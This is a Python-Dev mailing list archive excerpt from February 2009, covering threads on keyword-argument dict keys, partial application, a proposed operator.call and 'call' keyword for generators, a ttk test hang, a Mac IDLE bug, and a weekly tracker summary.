Christian From martin at v.loewis.de Thu Feb 5 22:10:56 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 05 Feb 2009 22:10:56 +0100 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? In-Reply-To: <498B5452.7090601@cheimes.de> References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com> <498B5452.7090601@cheimes.de> Message-ID: <498B55E0.10607@v.loewis.de> > How are we going to handle str subclasses and unicode? "Are we going to"? You mean, the current code is not good enough? Why not? > Should we allow > all subclasses of basestring? Or just str and unicode? Or str only? In 2.x, str only, in 3.x, unicode only. Regards, Martin From tjreedy at udel.edu Thu Feb 5 22:13:36 2009 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 05 Feb 2009 16:13:36 -0500 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? In-Reply-To: References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com> Message-ID: Christian Heimes wrote: > Nick Coghlan wrote: >> Generally speaking, Python namespace dictionaries (be it globals(), >> locals(), the __dict__ attribute of an instance or a set of keyword >> arguments) aren't required to enforce the use of legal identifiers (in >> many cases, the CPython variants don't even enforce the use of strings). > > Side note: > > CPython's dict code has a special case for str objects (PyStringObject > in 2.x, PyUnicodeObject in 3.x). The internal lookup method is optimized > for str objects. Python uses dict objects for all its namespaces like > classes, modules and most objects, so dict with str as keys are pretty > common. > > The first time a non str object is inserted or looked up, the dict > swiches to a more general lookup methods. This makes adding a string-only dict pretty trivial, if desired. > lookdict() still fast but not > as fast as lookdict_string(). It doesn't make a huge difference but you > should still keep the fact in your head. > > We could abuse the state of the ma_lookup function pointer to check the > dict for str only keys. But it would break for unicode keys thus making > from __future__ import unicode_literals useless. Assuming that 3.x dicts are optimized for the 3.x string type, this is not a problem for 3.x ;-). tjr From lists at cheimes.de Thu Feb 5 22:55:24 2009 From: lists at cheimes.de (Christian Heimes) Date: Thu, 05 Feb 2009 22:55:24 +0100 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? In-Reply-To: References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com> Message-ID: <498B604C.4080400@cheimes.de> Terry Reedy schrieb: >> The first time a non str object is inserted or looked up, the dict >> swiches to a more general lookup methods. > > This makes adding a string-only dict pretty trivial, if desired. It's not as trivial as it seems. The switch over to the general lookup method happens when a non str object is *looked up*. d = {'a': None} # uses lookdict_string() d.get(1, None) # d now uses lookdict() "d->ma_lookup == lookdict_string" is a sufficient condition, not a condicio sine qua non. > Assuming that 3.x dicts are optimized for the 3.x string type, this is > not a problem for 3.x ;-). Well, it's always optimized for the str type - which happens to be PyUnicodeObject in 3.x. Christian From ben at redfrontdoor.org Thu Feb 5 23:01:07 2009 From: ben at redfrontdoor.org (Ben North) Date: Thu, 5 Feb 2009 22:01:07 +0000 Subject: [Python-Dev] Partial function application 'from the right' Message-ID: <5169ff10902051401l49ea89c3s98c8a123f703ef0@mail.gmail.com> Hi, My reading of the most recent set of emails on this topic is that the balance of opinion is against adding a 'partial_right' or 'partial.skip' feature. I still think such a feature would be of real use, although I can see the arguments against adding it. Is the conclusion 'no thanks', then? (I still have not had time to create an issue in the tracker and attach the patch, but will do so for completeness.) Thanks for the discussions, Ben. From steve at pearwood.info Thu Feb 5 23:54:54 2009 From: steve at pearwood.info (Steven D'Aprano) Date: Fri, 06 Feb 2009 09:54:54 +1100 Subject: [Python-Dev] Partial function application 'from the right' In-Reply-To: References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com><43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com> <43aa6ff70902031247g6c271119t3ba8fd45814c626d@mail.gmail.com> Message-ID: <498B6E3E.8020309@pearwood.info> Raymond Hettinger wrote: >>> The arguments for and against the patch could be brought against >>> partial() >>> itself, so I don't understand the -1's at all. >> >> Quite so, but that doesn't justify adding more capabilities to partial(). > > I concur with Collin. Lever arguments are a road to bloat. One person's "bloat" is another person's rich and complete toolbox. > "In for a penny, in for a pound" is not a language design principle. Neither are "slippery slope" arguments. > One of the real problems with partial() and its variants is that they > provide almost no advantage over an equivalent lambda. How about speed? I don't have a recent version of Python here to test, but my recollection is that partial is significantly faster than lambda. And even if it currently isn't, there could be (is?) more opportunity to optimize partial. I guess that the voting on this is going to be fall along functional lines: those who like functional languages will vote +1 on partial and co, and those who don't will vote -1. While I don't dislike partial(), I'd rather see one good use-case for partial_right() to be removed: built-ins that don't accept keywords. From Ben North's post starting this thread: "I find 'functools.partial' useful, but occasionally I'm unable to use it because it lacks a 'from the right' version. E.g., to create a function which splits a string on commas, you can't say # Won't work when called: split_comma = partial(str.split, sep = ',') and to create a 'log to base 10' function, you can't say # Won't work when called: log_10 = partial(math.log, base = 10.0) because str.split and math.log don't take keyword arguments." I'd argue that it is better to add support for keyword arguments than to add partial_right. -- Steven From Scott.Daniels at Acm.Org Fri Feb 6 01:16:01 2009 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Thu, 05 Feb 2009 16:16:01 -0800 Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'}); is this intentional? In-Reply-To: <498B5452.7090601@cheimes.de> References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com> <498B5452.7090601@cheimes.de> Message-ID: Christian Heimes wrote: > ... The performance penalty is slime to nothing for the common case.... Sorry, I love this typo. -Scott From eric at trueblade.com Fri Feb 6 02:37:09 2009 From: eric at trueblade.com (Eric Smith) Date: Thu, 05 Feb 2009 20:37:09 -0500 Subject: [Python-Dev] Issue 4285 Review In-Reply-To: <4988B5EA.8060408@trueblade.com> References: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com> <20090203212016.GA20886@panix.com> <4988B5EA.8060408@trueblade.com> Message-ID: <498B9445.8080400@trueblade.com> Eric Smith wrote: > Aahz wrote: >> On Tue, Feb 03, 2009, Ross Light wrote: >>> Hello, python-dev. I submitted a patch a couple weeks ago for Issue >>> 4285, and it has been reviewed and revised. Would someone please >>> review/commit it? Thank you. >>> >>> http://bugs.python.org/issue4285 >> >> When sending in a request like this, it's useful to summarize the issue; >> few people know bug reports by number, and at least some people who might >> be interested in looking probably won't bother if they have no clue >> whether it's in their area of expertise. > > I'll review it with the intention of committing it. > > The subject is "Use a named tuple for sys.version_info". Committed in r69331 (trunk) and r69346 (py3k). I hope I got the merge/block command correct. Eric. From greg.ewing at canterbury.ac.nz Fri Feb 6 06:20:17 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Fri, 06 Feb 2009 18:20:17 +1300 Subject: [Python-Dev] Missing operator.call In-Reply-To: <498991D9.3060407@avl.com> References: <498991D9.3060407@avl.com> Message-ID: <498BC891.4020103@canterbury.ac.nz> Hrvoje Niksic wrote: > Is there a reason why the operator module doesn't have an operator.call > function? I've been thinking about proposing an enhancement concerning generators that would entail making "call" a reserved word, so I'd be a little disappointed if this name were used. Maybe apply() could be reinstated and put into the operator module? -- Greg From guido at python.org Fri Feb 6 06:22:13 2009 From: guido at python.org (Guido van Rossum) Date: Thu, 5 Feb 2009 21:22:13 -0800 Subject: [Python-Dev] Missing operator.call In-Reply-To: <498BC891.4020103@canterbury.ac.nz> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> Message-ID: On Thu, Feb 5, 2009 at 9:20 PM, Greg Ewing wrote: > I've been thinking about proposing an enhancement > concerning generators that would entail making > "call" a reserved word, so I'd be a little > disappointed if this name were used. > > Maybe apply() could be reinstated and put into > the operator module? That would lose the symmetry with __call__. What's so special about your proposal that requires a new keyword? -- --Guido van Rossum (home page: http://www.python.org/~guido/) From greg.ewing at canterbury.ac.nz Fri Feb 6 06:31:21 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Fri, 06 Feb 2009 18:31:21 +1300 Subject: [Python-Dev] Missing operator.call In-Reply-To: References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> Message-ID: <498BCB29.4070005@canterbury.ac.nz> Guido van Rossum wrote: > What's so special about your proposal that requires a new keyword? I was thinking about the proposals that are made from time to time for things like yield *foo to yield all the items from a sub-generator. I was also thinking about what could be done to make using generators as coroutines more convenient, and I came up with the idea of a new statement call expr which would be equivalent to for x in expr: yield x This happens to be the same as what "yield *" would do, so it kind of unifies the two issues. -- Greg From guido at python.org Fri Feb 6 06:32:03 2009 From: guido at python.org (Guido van Rossum) Date: Thu, 5 Feb 2009 21:32:03 -0800 Subject: [Python-Dev] Missing operator.call In-Reply-To: <498BCB29.4070005@canterbury.ac.nz> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> Message-ID: Why is "call expr" a more enticing syntax than "yield *expr" ? On Thu, Feb 5, 2009 at 9:31 PM, Greg Ewing wrote: > Guido van Rossum wrote: > >> What's so special about your proposal that requires a new keyword? > > I was thinking about the proposals that are made > from time to time for things like > > yield *foo > > to yield all the items from a sub-generator. I was > also thinking about what could be done to make > using generators as coroutines more convenient, > and I came up with the idea of a new statement > > call expr > > which would be equivalent to > > for x in expr: > yield x > > This happens to be the same as what "yield *" > would do, so it kind of unifies the two issues. > > -- > Greg > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/guido%40python.org > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From martin at v.loewis.de Fri Feb 6 08:42:08 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 06 Feb 2009 08:42:08 +0100 Subject: [Python-Dev] Missing operator.call In-Reply-To: <498BCB29.4070005@canterbury.ac.nz> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> Message-ID: <498BE9D0.3050003@v.loewis.de> > I came up with the idea of a new statement > > call expr I don't think your ideas should stop us from doing the right thing right now, i.e. add operator.call (for symmetry with everything else that is in the operator module). Whether a call keyword gets added to Python remains to be seen; I would expect some opposition if a PEP was written. Regards, Martin From greg.ewing at canterbury.ac.nz Fri Feb 6 09:10:10 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Fri, 06 Feb 2009 21:10:10 +1300 Subject: [Python-Dev] Missing operator.call In-Reply-To: References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> Message-ID: <498BF062.5000407@canterbury.ac.nz> Guido van Rossum wrote: > Why is "call expr" a more enticing syntax than "yield *expr" ? I was thinking it would read better when you're using generators as lightweight threads, and you want the one-level-deep nature of generators to be hidden as much as possible. The fact that yielding is going on is not of interest in that situation -- it's just an implementation detail. What you really want to express is calling another function, but without losing your status of coroutine-ness. Another way of thinking about it is that it allows you to abstract out a chunk of code from a generator that contains a 'yield' and put it into another function, and then call it in a way that resembles an ordinary function call as closely as possible. Maybe 'call' isn't the best word for that, but I haven't thought of anything better so far. -- Greg From ncoghlan at gmail.com Fri Feb 6 09:41:27 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Fri, 06 Feb 2009 18:41:27 +1000 Subject: [Python-Dev] Partial function application 'from the right' In-Reply-To: <5169ff10902051401l49ea89c3s98c8a123f703ef0@mail.gmail.com> References: <5169ff10902051401l49ea89c3s98c8a123f703ef0@mail.gmail.com> Message-ID: <498BF7B7.9000605@gmail.com> Ben North wrote: > Hi, > > My reading of the most recent set of emails on this topic is that the > balance of opinion is against adding a 'partial_right' or 'partial.skip' > feature. I still think such a feature would be of real use, although I > can see the arguments against adding it. Is the conclusion 'no thanks', > then? There's a partial.skip patch on the tracker already: http://bugs.python.org/issue1706256 While it has been rejected, chiming in still wouldn't hurt (in case we ever decide to revisit the idea). Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From ncoghlan at gmail.com Fri Feb 6 09:50:31 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Fri, 06 Feb 2009 18:50:31 +1000 Subject: [Python-Dev] [Python-checkins] r69314 - sandbox/trunk/dbm_sqlite/alt/dbdict.py In-Reply-To: <20090205220400.943E71E4002@bag.python.org> References: <20090205220400.943E71E4002@bag.python.org> Message-ID: <498BF9D7.1050908@gmail.com> raymond.hettinger wrote: > Author: raymond.hettinger > Date: Thu Feb 5 23:04:00 2009 > New Revision: 69314 > > Log: > Can't get tempfile to reliably delete on error and persist otherwise. You work on Windows, don't you Raymond? What you were trying (setting tf.delete after the file was already open but before it was closed) would actually work on non-Windows platforms, since the delete flag is only checked in the close() method. On Windows, however, the tempfile code uses the _os.O_TEMPORARY flag at creation time to tell *Windows* to delete the file when it gets closed. In that case, writing to the delete attribute has no effect (since the flag has already been set) Perhaps the windows special casing should be removed so that the delete flag on named temporary files can be effectively written to on all platforms? Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From stephen at xemacs.org Fri Feb 6 10:15:33 2009 From: stephen at xemacs.org (Stephen J. Turnbull) Date: Fri, 06 Feb 2009 18:15:33 +0900 Subject: [Python-Dev] Missing operator.call In-Reply-To: <498BF062.5000407@canterbury.ac.nz> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> Message-ID: <87ljskdiyy.fsf@xemacs.org> Greg Ewing writes: > The fact that yielding is going on is not of > interest in that situation -- it's just an > implementation detail. What you really want to > express is calling another function, but without > losing your status of coroutine-ness. But doesn't "yield" in the sense of "yield the right of way" mean exactly that? Or am I not understanding what you mean by retain status as a coreoutine? I don't know if this is an argument for or against using "yield" in this context. From greg.ewing at canterbury.ac.nz Fri Feb 6 12:20:42 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sat, 07 Feb 2009 00:20:42 +1300 Subject: [Python-Dev] Missing operator.call In-Reply-To: <87ljskdiyy.fsf@xemacs.org> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> Message-ID: <498C1D0A.4040200@canterbury.ac.nz> Stephen J. Turnbull wrote: > Greg Ewing writes: > > > The fact that yielding is going on is not of > > interest in that situation > > But doesn't "yield" in the sense of "yield the right of way" mean > exactly that? I've no problem with using 'yield' when actually giving up control. But the code making the call doesn't think of itself as yielding. The called code may want to yield, but the caller doesn't care about that. It just wants to make the callee do its thing, whatever it is. Ideally the caller would be able to use a normal function call, but Python generators don't work that way. The next best thing is a slightly different form of call syntax. -- Greg From solipsis at pitrou.net Fri Feb 6 13:03:16 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Fri, 6 Feb 2009 12:03:16 +0000 (UTC) Subject: [Python-Dev] Missing operator.call References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> Message-ID: Greg Ewing canterbury.ac.nz> writes: > > I've no problem with using 'yield' when actually > giving up control. But the code making the call doesn't > think of itself as yielding. The called code may > want to yield, but the caller doesn't care about > that. It just wants to make the callee do its thing, > whatever it is. Sorry for saying that, but the more I read your explanations, the less I understand them. In any case, using such a generic word as "call" for generator-specific semantics looks highly confusing to me. From guido at python.org Fri Feb 6 16:13:07 2009 From: guido at python.org (Guido van Rossum) Date: Fri, 6 Feb 2009 07:13:07 -0800 Subject: [Python-Dev] Missing operator.call In-Reply-To: <498C1D0A.4040200@canterbury.ac.nz> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> Message-ID: On Fri, Feb 6, 2009 at 3:20 AM, Greg Ewing wrote: > Stephen J. Turnbull wrote: >> >> Greg Ewing writes: >> >> > The fact that yielding is going on is not of >> > interest in that situation >> >> But doesn't "yield" in the sense of "yield the right of way" mean >> exactly that? > > I've no problem with using 'yield' when actually > giving up control. But the code making the call doesn't > think of itself as yielding. The called code may > want to yield, but the caller doesn't care about > that. It just wants to make the callee do its thing, > whatever it is. > > Ideally the caller would be able to use a normal > function call, but Python generators don't work > that way. The next best thing is a slightly > different form of call syntax. The more I read your motivation the less comfortable I am with using "call" for this purpose. It differs in so many details from a regular call that you're doing your potential users a terrible disservice by trying to pretend that it is something which it isn't, or that it isn't something which it is. Those differences may not seem relevant when sketching a solution, but they come back to haunt you when debugging, for example. It would be way too confusing to have "a different form of call" with totally different semantics that nevertheless used the same *terminology* as is used for regular calls. Imagine the confusion happens when a newbie (maybe someone coming from Fortran :-) writes "call foo(x)" instead of just "foo(x)" and their program totally breaks. "But you told me to call foo" will be their rightful excuse. You could go on, but so could I. A -1 it is. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From eric at trueblade.com Fri Feb 6 16:14:50 2009 From: eric at trueblade.com (Eric Smith) Date: Fri, 06 Feb 2009 10:14:50 -0500 Subject: [Python-Dev] regrtest hangs on test_tk_guionly Message-ID: <498C53EA.6050306@trueblade.com> In the trunk, test_tk_guionly hangs if I run it through regrtest. This is on a Fedora Core 6 box, without X installed. If I run test_tk_guionly directly, it exits saying there's no DISPLAY set, which is what I'd expect: ------8<------------------ [trunk]$ ./python Lib/test/test_ttk_guionly.py Traceback (most recent call last): File "Lib/test/test_ttk_guionly.py", line 11, in raise test_support.TestSkipped("ttk not available: %s" % msg) test.test_support.TestSkipped: ttk not available: no display name and no $DISPLAY environment variable [29788 refs] ------8<------------------ If I run regrtest with (or without) -v, it hangs without any output from test_tk_guionly: ------8<------------------ ... OK test_transformer Test multiple targets on the left hand side. ... ok ---------------------------------------------------------------------- Ran 1 test in 0.020s OK test_ttk_guionly ------8<------------------ I'm not seeing a problem in the py3k branch. There, test_tk_guionly is skipped: ------8<------------------ test_ttk_guionly test_ttk_guionly skipped -- ttk not available: no display name and no $DISPLAY environment variable ------8<------------------ I'm not sure how to further isolate this, since I can't duplicate it when running the test by itself. I'm mostly curious if anyone else is seeing this problem. If it's just me, I'll just switch to a Mac, where the problem doesn't occur (if for no other reason, because ttk is not available). If others are seeing a problem, I'll spend some time isolating it. Is anyone else seeing this problem? Eric. From ggpolo at gmail.com Fri Feb 6 16:25:20 2009 From: ggpolo at gmail.com (Guilherme Polo) Date: Fri, 6 Feb 2009 13:25:20 -0200 Subject: [Python-Dev] regrtest hangs on test_tk_guionly In-Reply-To: <498C53EA.6050306@trueblade.com> References: <498C53EA.6050306@trueblade.com> Message-ID: On Fri, Feb 6, 2009 at 1:14 PM, Eric Smith wrote: > In the trunk, test_tk_guionly test_ttk_guionly, right ? > hangs if I run it through regrtest. This is on > a Fedora Core 6 box, without X installed. > Does it hang if you run it alone through regrtest, or, together with all the other tests ? > If I run test_tk_guionly directly, it exits saying there's no DISPLAY set, > which is what I'd expect: > > ------8<------------------ > [trunk]$ ./python Lib/test/test_ttk_guionly.py > Traceback (most recent call last): > File "Lib/test/test_ttk_guionly.py", line 11, in > raise test_support.TestSkipped("ttk not available: %s" % msg) > test.test_support.TestSkipped: ttk not available: no display name and no > $DISPLAY environment variable > [29788 refs] > ------8<------------------ > > > If I run regrtest with (or without) -v, it hangs without any output from > test_tk_guionly: > > ------8<------------------ > ... > OK > test_transformer > Test multiple targets on the left hand side. ... ok > > ---------------------------------------------------------------------- > Ran 1 test in 0.020s > > OK > test_ttk_guionly > > ------8<------------------ > > > I'm not seeing a problem in the py3k branch. There, test_tk_guionly is > skipped: > > ------8<------------------ > test_ttk_guionly > test_ttk_guionly skipped -- ttk not available: no display name and no > $DISPLAY environment variable > ------8<------------------ > > I'm not sure how to further isolate this, since I can't duplicate it when > running the test by itself. I'm mostly curious if anyone else is seeing this > problem. If it's just me, I'll just switch to a Mac, where the problem > doesn't occur (if for no other reason, because ttk is not available). If > others are seeing a problem, I'll spend some time isolating it. > > Is anyone else seeing this problem? > I've noticed it, it is on http://bugs.python.org/issue5122 The second part of the issue description is actually unrelated to the problem (or at least I'm almost sure it is), so you may discard it. I wasn't able to duplicate it here, but I could try installing fedora here to try reproducing and see if I can solve it. > Eric. -- -- Guilherme H. Polo Goncalves From eric at trueblade.com Fri Feb 6 16:34:36 2009 From: eric at trueblade.com (Eric Smith) Date: Fri, 06 Feb 2009 10:34:36 -0500 Subject: [Python-Dev] regrtest hangs on test_tk_guionly In-Reply-To: References: <498C53EA.6050306@trueblade.com> Message-ID: <498C588C.6090601@trueblade.com> Guilherme Polo wrote: > On Fri, Feb 6, 2009 at 1:14 PM, Eric Smith wrote: >> In the trunk, test_tk_guionly > > test_ttk_guionly, right ? Right, sorry. >> hangs if I run it through regrtest. This is on >> a Fedora Core 6 box, without X installed. >> > > Does it hang if you run it alone through regrtest, or, together with > all the other tests ? It does not hang: [trunk]$ ./python Lib/test/regrtest.py test_ttk_guionly test_ttk_guionly test_ttk_guionly skipped -- ttk not available: no display name and no $DISPLAY environment variable 1 test skipped: test_ttk_guionly 1 skip unexpected on linux2: test_ttk_guionly > I've noticed it, it is on http://bugs.python.org/issue5122 > > The second part of the issue description is actually unrelated to the > problem (or at least I'm almost sure it is), so you may discard it. I > wasn't able to duplicate it here, but I could try installing fedora > here to try reproducing and see if I can solve it. Unfortunately I can't give you access to this machine. Maybe http://www.snakebite.org/ will be able to help. If you think my issue is related to 5122, I'll reply to that issue and move the discussion there. I can test on a Fedora 10 box, too. Eric. From ggpolo at gmail.com Fri Feb 6 16:34:46 2009 From: ggpolo at gmail.com (Guilherme Polo) Date: Fri, 6 Feb 2009 13:34:46 -0200 Subject: [Python-Dev] regrtest hangs on test_tk_guionly In-Reply-To: <498C53EA.6050306@trueblade.com> References: <498C53EA.6050306@trueblade.com> Message-ID: On Fri, Feb 6, 2009 at 1:14 PM, Eric Smith wrote: > If it's just me, I'll just switch to a Mac, where the problem > doesn't occur (if for no other reason, because ttk is not available). If > others are seeing a problem, I'll spend some time isolating it. If you move to Mac then you may end with an abort :) See http://www.python.org/dev/buildbot/all/OS%20X%20x86%20trunk/builds/99/step-test/0 I tried asking emailing noller to ask what tcl is installed on that mac but I got no answer, so in this case the buildslave serves me no purpose. Apparently it doesn't happen all the time (after a change on how the tcl interpreter was being created in the tests) but it still happens sometimes. I also opened an issue for this, see: http://bugs.python.org/issue5120, I ended up closing it after checking that this noller buildslave stopped aborting but it still happens from time to time. -- -- Guilherme H. Polo Goncalves From ringhome at cox.net Fri Feb 6 16:16:15 2009 From: ringhome at cox.net (ringhome) Date: Fri, 6 Feb 2009 08:16:15 -0700 Subject: [Python-Dev] Fwd: IDLE on a Mac References: Message-ID: <77F954DE-354D-4D9B-8C25-54597052E0D0@cox.net> Begin forwarded message: > From: python-3000-owner at python.org > Date: Feb 06, 2009 8:11:23 AM GMT-07:00 > To: ringhome at cox.net > Subject: IDLE on a Mac > > This mailing list is closed now. Please use python-dev at python.org > instead. > > > From: ringhome > Date: Feb 06, 2009 8:11:19 AM GMT-07:00 > To: python-3000 at python.org > Subject: IDLE on a Mac > > > Hi. First, I'd like to say how wonderful 3.0 is. I'm using it at > work, and it it indispensable. > > I am, however, having a small difficulty at home on my Mac. Not > willing to wait for a nice, pre-packaged bundle, I went and > downloaded the files and built 3.0 myself. The issue comes from > launching the IDLE.app from the Mac GUI versus a Terminal Shell. > From the GUI, IDLE launches fine, but the FILE dropdown menu only > has "Recent Files" in it. No way to create new one, save, etc. > > The README pages say to write to you if we're not sure if something > is a feature or a bug.... So, here I am. :) > > Thanks. > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From ggpolo at gmail.com Fri Feb 6 16:38:50 2009 From: ggpolo at gmail.com (Guilherme Polo) Date: Fri, 6 Feb 2009 13:38:50 -0200 Subject: [Python-Dev] regrtest hangs on test_tk_guionly In-Reply-To: <498C588C.6090601@trueblade.com> References: <498C53EA.6050306@trueblade.com> <498C588C.6090601@trueblade.com> Message-ID: On Fri, Feb 6, 2009 at 1:34 PM, Eric Smith wrote: > If you think my issue is related to 5122, I'll reply to that issue and move > the discussion there. I can test on a Fedora 10 box, too. Eric, I've followed the "amd64 gentoo trunk" buildslave and noticed it took a very long time on test_tcl (or test_ttk_guionly) and then ended up getting the error described in the issue. As I see, the test hanged and buildslave decided to quit. -- -- Guilherme H. Polo Goncalves From nad at acm.org Fri Feb 6 17:32:12 2009 From: nad at acm.org (Ned Deily) Date: Fri, 06 Feb 2009 08:32:12 -0800 Subject: [Python-Dev] Fwd: IDLE on a Mac References: <77F954DE-354D-4D9B-8C25-54597052E0D0@cox.net> Message-ID: In article <77F954DE-354D-4D9B-8C25-54597052E0D0 at cox.net>, ringhome wrote: > > I am, however, having a small difficulty at home on my Mac. Not > > willing to wait for a nice, pre-packaged bundle, I went and > > downloaded the files and built 3.0 myself. The issue comes from > > launching the IDLE.app from the Mac GUI versus a Terminal Shell. > > From the GUI, IDLE launches fine, but the FILE dropdown menu only > > has "Recent Files" in it. No way to create new one, save, etc. > > > > The README pages say to write to you if we're not sure if something > > is a feature or a bug.... So, here I am. :) Definitely not a feature! There are a few known problems with 3.x IDLE on OS X. I'm in the final stages of testing several patches which, among other things should solve that problem. In general, the issue tracker at is the place to file bugs. Check back in a couple of days. -- Ned Deily, nad at acm.org From status at bugs.python.org Fri Feb 6 18:06:48 2009 From: status at bugs.python.org (Python tracker) Date: Fri, 6 Feb 2009 18:06:48 +0100 (CET) Subject: [Python-Dev] Summary of Python tracker Issues Message-ID: <20090206170648.22AB1782E2@psf.upfronthosting.co.za> ACTIVITY SUMMARY (01/30/09 - 02/06/09) Python tracker at http://bugs.python.org/ To view or respond to any of the issues listed below, click on the issue number. Do NOT respond to this message. 2364 open (+44) / 14630 closed (+16) / 16994 total (+60) Open issues with patches: 793 Average duration of open issues: 698 days. Median duration of open issues: 10 days. Open Issues Breakdown open 2341 (+44) pending 23 ( +0) Issues Created Or Reopened (61) _______________________________ "if 0: return" not raising SyntaxError 02/02/09 http://bugs.python.org/issue1875 reopened amaury.forgeotdarc patch, needs review Incorrect documentation for PyErr_BadInternalCall 01/30/09 CLOSED http://bugs.python.org/issue5112 created md5i 2.5.4.3 / test_posix failing on HPUX systems 01/30/09 http://bugs.python.org/issue5113 created andreask 2.5.4.3 / test_threading hangs 01/30/09 http://bugs.python.org/issue5114 created andreask Extend subprocess.kill to be able to kill process groups 01/31/09 http://bugs.python.org/issue5115 created erickt patch expose _CrtSetReportMode via the msvcrt module 01/31/09 http://bugs.python.org/issue5116 created mhammond patch, patch, needs review os.path.relpath problem with root directory 01/31/09 http://bugs.python.org/issue5117 created eliben patch '%.2f' % 2.545 doesn't round correctly 01/31/09 CLOSED http://bugs.python.org/issue5118 created Ultrasick wide character parameter handling in ctypes 01/31/09 CLOSED http://bugs.python.org/issue5119 created jaraco Disabling test_ttk_guionly on mac 01/31/09 CLOSED http://bugs.python.org/issue5120 created gpolo PyRun_InteractiveLoop disagrees with documentation? 02/01/09 http://bugs.python.org/issue5121 created bkuhn test_tcl and test_ttk_guionly don't like each other 02/01/09 http://bugs.python.org/issue5122 created gpolo patch Virus found in python-3.0.msi 02/01/09 CLOSED http://bugs.python.org/issue5123 created hlqyq IDLE - pasting text doesn't delete selection 02/01/09 http://bugs.python.org/issue5124 created weeble Strange locale problem with Python 3 02/01/09 http://bugs.python.org/issue5125 created retoo Space character returns false from isprintable() method 02/01/09 http://bugs.python.org/issue5126 created dlfjessup patch UnicodeEncodeError - I can't even see license 02/02/09 http://bugs.python.org/issue5127 created bupjae patch compileall: consider ctime 02/02/09 http://bugs.python.org/issue5128 created gagern patch indentation in IDLE 2.6 different from IDLE 2.5, 2.4 or vim 02/02/09 http://bugs.python.org/issue5129 created sy12 Obsolete reference to "unicode" in glossary 02/02/09 CLOSED http://bugs.python.org/issue5130 created MLModel pprint doesn't know how to print a set or a defaultdict 02/02/09 http://bugs.python.org/issue5131 created ncw distutils: libpython not found when building python extensions o 02/02/09 CLOSED http://bugs.python.org/issue5132 created dpeterson patch Error with Eval 02/02/09 CLOSED http://bugs.python.org/issue5133 created davidnicol Compiler warnings in sqlite module 02/02/09 http://bugs.python.org/issue5134 created rhettinger patch Expose simplegeneric function in functools module 02/02/09 http://bugs.python.org/issue5135 created pmoore patch, needs review Deprecating (and removing) "globalcall", "merge" and "globaleval 02/03/09 http://bugs.python.org/issue5136 created gpolo SystemError when __len__ returns a non-number 02/03/09 http://bugs.python.org/issue5137 created rhettinger File Reload for IDLE 02/03/09 http://bugs.python.org/issue5138 created rhettinger Add combinatoric counting functions to the math module. 02/03/09 http://bugs.python.org/issue5139 created rhettinger Some Built-in Functions entries in Library Manual are missing Pe 02/03/09 CLOSED http://bugs.python.org/issue5140 created rbtyod C API for appending to arrays 02/03/09 http://bugs.python.org/issue5141 created hniksic pdb feature request: Ability to skip standard lib modules and ot 02/03/09 http://bugs.python.org/issue5142 created orsenthil OS X: Py_SetProgramName argument has type char*; should be wchar 02/03/09 http://bugs.python.org/issue5143 created marketdickinson PySys_SetArgv has wrong documentation 02/03/09 CLOSED http://bugs.python.org/issue5144 created matejcik struct.calcsize('cd') returns 16 instead of 9 02/03/09 http://bugs.python.org/issue5145 created bgailer threading via uid method doesn't work in imaplib 02/03/09 http://bugs.python.org/issue5146 created abhishek MozillaCookieJar should not store leading whitespace in Magic he 02/03/09 